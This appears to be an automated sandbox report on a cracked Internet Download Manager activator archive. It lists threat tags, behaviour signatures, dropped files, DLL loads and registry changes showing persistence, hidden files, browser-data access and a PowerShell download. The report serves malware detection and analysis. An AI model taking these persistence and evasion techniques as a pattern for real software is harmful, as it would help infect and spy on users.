Malware Analysis Report

2025-01-18 22:22

Sample ID 240501-f27bzsbb67
Target IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team.zip
SHA256 f2e4d02007b32da7272d9850e3387e03931db5b3ca881f2ad43619b88f01bcb0
Tags
adware discovery evasion persistence spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f2e4d02007b32da7272d9850e3387e03931db5b3ca881f2ad43619b88f01bcb0

Threat Level: Known bad

The file IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team.zip was found to be: Known bad.

Malicious Activity Summary

adware discovery evasion persistence spyware stealer trojan

Blocklisted process makes network request

Drops file in Drivers directory

Sets file to hidden

Downloads MZ/PE file

Loads dropped DLL

Checks computer location settings

Reads user/profile data of web browsers

Executes dropped EXE

Registers COM server for autorun

Checks installed software on the system

Adds Run key to start application

Checks whether UAC is enabled

Installs/modifies Browser Helper Object

Drops file in Program Files directory

Drops file in Windows directory

Launches sc.exe

Enumerates physical storage devices

Unsigned PE

Uses Volume Shadow Copy WMI provider

Suspicious behavior: EnumeratesProcesses

Suspicious use of SendNotifyMessage

Suspicious use of WriteProcessMemory

Modifies Internet Explorer Phishing Filter

Checks processor information in registry

Enumerates processes with tasklist

Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam

Suspicious use of SetWindowsHookEx

Enumerates system info in registry

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Creates scheduled task(s)

Suspicious behavior: LoadsDriver

Suspicious behavior: GetForegroundWindowSpam

Suspicious use of AdjustPrivilegeToken

Delays execution with timeout.exe

Uses Volume Shadow Copy service COM API

Suspicious use of FindShellTrayWindow

Runs ping.exe

Modifies Internet Explorer settings

Views/modifies file attributes

Modifies registry key

Kills process with taskkill

Modifies registry class

Uses Task Scheduler COM API

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-01 05:23

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-01 05:23

Reported

2024-05-01 05:25

Platform

win7-20240220-en

Max time kernel

104s

Max time network

101s

Command Line

"C:\Users\Admin\AppData\Local\Temp\IDM 6.xx Activator or Resetter v3.3 by CrackingCity Team\IDM 6.xx Activator or Resetter v3.3\IDM 6.x.exe"

Signatures

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Drops file in Drivers directory

Description Indicator Process Target
File created C:\Windows\system32\DRIVERS\SETD1B.tmp C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\system32\DRIVERS\SET1B0F.tmp C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\system32\DRIVERS\SET58E9.tmp C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\system32\DRIVERS\idmwfp.sys C:\Windows\system32\RUNDLL32.EXE N/A
File created C:\Windows\system32\DRIVERS\SET58E9.tmp C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\system32\DRIVERS\idmwfp.sys C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\system32\DRIVERS\SETD1B.tmp C:\Windows\system32\RUNDLL32.EXE N/A
File opened for modification C:\Windows\system32\DRIVERS\idmwfp.sys C:\Windows\system32\RUNDLL32.EXE N/A
File created C:\Windows\system32\DRIVERS\SET1B0F.tmp C:\Windows\system32\RUNDLL32.EXE N/A

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A
N/A N/A C:\Windows\SysWOW64\attrib.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\7za.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ytmp\NSudo86x.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\idman642build9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\idmBroker.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\Uninstall.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\MediumILStart.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\Uninstall.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IEMonitor.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\Uninstall.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IEMonitor.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMMsgHost.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RYNL6UIN\idman642build9.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Windows\system32\regsvr32.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
N/A N/A C:\Program Files (x86)\Internet Download Manager\Uninstall.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Reads user/profile data of web browsers

spyware stealer

Registers COM server for autorun

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\downlWithIDM64.dll" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\downlWithIDM64.dll" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\downlWithIDM64.dll" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMShellExt64.dll" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\downlWithIDM64.dll" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\downlWithIDM64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMShellExt64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0055C089-8582-441B-A0BF-17B458C2A3A8}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMGetAll64.dll" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32\ThreadingModel = "Apartment" C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{52F6F7BD-DF73-44B3-AE13-89E1E1FB8F6A}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{7D11E719-FF90-479C-B0D7-96EB43EE55D7}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMGetAll64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4764030F-2733-45B9-AE62-3D1F4F6F2861}\InprocServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32 C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32\ThreadingModel = "Apartment" C:\Windows\system32\regsvr32.exe N/A
Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDD67718-A430-4AB9-A939-83D9074B0038}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CDC95B92-E27C-4745-A8C5-64A52A78855D}\InProcServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMShellExt64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMGetAll64.dll" C:\Windows\system32\regsvr32.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{436D67E1-2FB3-4A6C-B3CD-FF8A41B0664D}\InprocServer32\ = "C:\\Program Files (x86)\\Internet Download Manager\\IDMIECC64.dll" C:\Windows\system32\regsvr32.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{5312C54E-A385-46B7-B200-ABAF81B03935}\InprocServer32 C:\Program Files (x86)\Internet Download Manager\IDMIntegrator64.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-2721934792-624042501-2768869379-1000\Software\Microsoft\Windows\CurrentVersion\Run\IDMan = "C:\\Program Files (x86)\\Internet Download Manager\\IDMan.exe /onboot" C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\GrpConv = "grpconv -o" C:\Windows\system32\RUNDLL32.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\GrpConv = "grpconv -o" C:\Windows\system32\RUNDLL32.EXE N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\GrpConv = "grpconv -o" C:\Windows\system32\RUNDLL32.EXE N/A

Checks installed software on the system

discovery

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Program Files (x86)\Internet Download Manager\IDMan.exe N/A

Installs/modifies Browser Helper Object

stealer adware
Description Indicator Process Target
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\NoExplorer = "1" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8} C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM Helper" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\NoExplorer = "1" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8} C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{0055C089-8582-441B-A0BF-17B458C2A3A8}\ = "IDM Helper" C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\Internet Download Manager\IDMShellExt64.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\IDMFType64.dll C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_th.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\inst_uz.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
File created C:\Program Files (x86)\Internet Download Manager\Languages\idm_pt.lng C:\Users\Admin\AppData\Local\Temp\IDM_Setup_Temp\IDM1.tmp N/A
